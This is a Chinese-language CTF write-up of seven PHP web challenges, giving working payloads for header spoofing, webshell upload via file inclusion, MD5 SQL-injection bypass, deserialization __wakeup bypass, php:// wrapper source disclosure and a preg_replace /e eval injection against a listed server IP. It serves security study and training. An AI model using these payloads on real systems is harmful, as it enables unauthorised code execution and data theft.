1.抓包修改

​ 提示修改id,postman修改headers里面的id

分析得到id是admin加admin的base64编码,payload为id: adminYWRtaW4=

请求后又提示请使用主机访问,修改xff, X-Forwarded-For: 127.0.0.1

再次请求又提示要从谷歌访问,修改Referer,再次访问得到flag

2.文件上传漏洞与文件包含

​ 写好木马,修改mime,绕过类型判断。但是发现服务器将上传的文件进行了重命名,文件类型.php也被改为了.jpg。观察url有?action=upload.php,想到文件上传漏洞,于是包含我们上传的图片路径,成功将jpg格式文件当作php执行。

3.抓包修改

页面

postman访问发现headers里面藏了一些东西password

md5解密password得到密码是112233,输入登录,bp查看源码,得到flag。

4. sql MD5注入,MD5绕过

postman访问网站,在headers里面得到了一个

hint: select * ``from 'admin' where password``=md5($pass,``true``)

上网找 payload 可以很轻松地找到 ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是

1. select * ``from 'admin' where password``=``'' or '6xxxxx'

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

提交后又跳转到http://222.186.56.247:8102/levels91.php,f12查看源码得到,hint

<!--
$a = $GET['a'];
$b = $_GET['b']; if($a != $b && md5($a) == md5($b)){
//wow,you can really dance
-->

php是若类型,根据==漏洞,网上找两个md5开头为0e即可,此外也可以利用数组 ?a[]=1&b[]=2 绕过,由于 md5 函数哈希数组会返回 NULL,因此只要传两个不同的数组即可绕过限制 。

成功绕过之后,又跳到了一个新的网页,给了php源码为

 <?php
error_reporting(0);
include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这次难度增加,变成了=,利用数组

另一种解法见https://www.secpulse.com/archives/70070.html

5. .git泄漏、变量覆盖

御剑扫一下目录,得到 /.git/,githack 得到源码

	<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x &amp;&amp; $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) &amp;&amp; !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

变量覆盖分析

  1. POST:$flag=1
foreach($_POST as $x => $y){ $$x = $y; }

解释:$x=flag,$y=1,$$x=$($falg) = 1

  1. GET:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}

$x=yds,$y=flag,所以$$x=$yds,$$y=$flag,所以最后$yds=$flag

当执行到

if(!isset($_GET['flag']) &amp;&amp; !isset($_POST['flag'])){
exit($yds);
}

exit($yds)=exit($flag)。即可读取到flag内容。

详情解释https://www.jianshu.com/p/a4d782e91852

6.反序列化漏洞

<?php

error_reporting(0);
highlight_file(__FILE__);
//flag in /flag
class Flag{
public $file; public function __wakeup(){
$this -> file = 'woc';
} public function __destruct(){
print_r(file_get_contents($this -> file));
}
} $exp = $_GET['exp'];
$new = unserialize($exp);

读源码可知,要绕过__wakeup()函数

<?php
class Flag{
public $file="/flag";
}
$test=new Flag();
echo serialize($test);

序列化后得到结果

O:4:"Flag":1:{s:4:"file";s:5:"/flag";}

要绕过__wakeup(),还需修改

O:4:"Flag":2:{s:4:"file";s:5:"/flag";}

更多知识:https://blog.csdn.net/silence1_/article/details/89716976

7.php为协议与 preg_replace 漏洞

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"]; if(strstr(file_get_contents('php://input'),'a')){
die("嚯,有点意思");
} if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
} include($file); //next.php }
else{
highlight_file(__FILE__);
}
?>

代码审计得知首先需要读取$text文件内容为I have a dream 但是过滤掉了php://input伪协议,只能用php://data

http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream

也可以用远程文件包含

http://222.186.56.247:8108/?text=http://1.1.1.1/1.txt

include($file)提示next.php,继续利用伪协议 php://filter 读取next.php源码的base64()编码

http://222.186.56.247:8108/?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
<?php

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
} foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
} function getFlag(){
@eval($_GET['cmd']);
}

审计源码发现preg_replace的/e漏洞,于是构想,利用preg_replace的/e漏洞执行getFlag(),再利用GET给cmd参数传递一句话木马,再用蚁剑连接即可。

或者更简单的方法

http://222.186.56.247:8108/next.php?\S*=${eval($_POST[test])}

相关内容:https://blog.csdn.net/weixin_43272781/article/details/94645507 //伪协议

相关内容:https://xz.aliyun.com/t/2557 //preg_replace的/e漏洞

总结没做出来的题,还需要学习的知识

1.模板注入漏洞

2.__get()魔术方法在当访问不存属性在或为私有属性的时候会触发

  1. vim泄漏、shtml命令执行

https://www.gem-love.com/websecurity/824.html#i

bjd_ctf的更多相关文章

随机推荐

  1. leetcode 122 123 309 188 714 股票买卖 动态规划

    这类问题有一个通法 https://leetcode-cn.com/problems/best-time-to-buy-and-sell-stock-iii/solution/yi-ge-tong-y ...

  2. Linux 驱动框架---input子系统框架

    前面从具体(Linux 驱动框架---input子系统)的工作过程学习了Linux的input子系统相关的架构知识,但是前面的学习比较实际缺少总结,所以今天就来总结一下输入子系统的架构分层,站到远处来 ...

  3. Makefile 流程控制(error,warning)等调试选项

    1.退出码 0 ok1 错误2 使用了-q 选项 且目标不需要更新 返回2 2.选项 -f --file 指定makefile脚本 -n --just-print --dry -run -- reco ...

  4. Github Docs All In One

    Github Docs All In One docs https://docs.github.com/en https://github.com/github/docs GitHub REST AP ...

  5. Web 实时通信方案 All In One

    Web 实时通信方案 All In One HTTP 轮询, 单向通信,开销大 HTTP 长轮询, 单向通信,开销较小 WebSocket,双向通信,开销小 (TCP 高延迟,保证数据完整性) Ser ...

  6. Taro 物料市场

    Taro 物料市场 taro component demo https://taro-ext.jd.com/ https://taro-ext.jd.com/plugin/view/5caab6c68 ...

  7. qt DateTime 计算时间

    qdatetime doc 获取当前时间 QDateTime t1 = QDateTime::currentDateTime(); qDebug() << t1.toString(&quo ...

  8. 代码生成器 springboot架构

    import com.baomidou.mybatisplus.annotation.DbType;import com.baomidou.mybatisplus.annotation.IdType; ...

  9. Java 12 新特性介绍,快来补一补

    Java 12 早在 2019 年 3 月 19 日发布,它不是一个长久支持(LTS)版本.在这之前我们已经介绍过其他版本的新特性,如果需要可以点击下面的链接进行阅读. Java 11 新特性介绍 J ...

  10. 如何使用 Navicat Premium 的新“自动运行”工具自动运行行数据库复制。

    数据库复制有至少三种不同的方式: 快照复制:一台服务器上的数据复制到同一台或不同服务器上的另一个数据库. 合并复制:来自两个或多个数据库的数据被合并到一个数据库中. 事务复制:用户收到数据库的完整初始 ...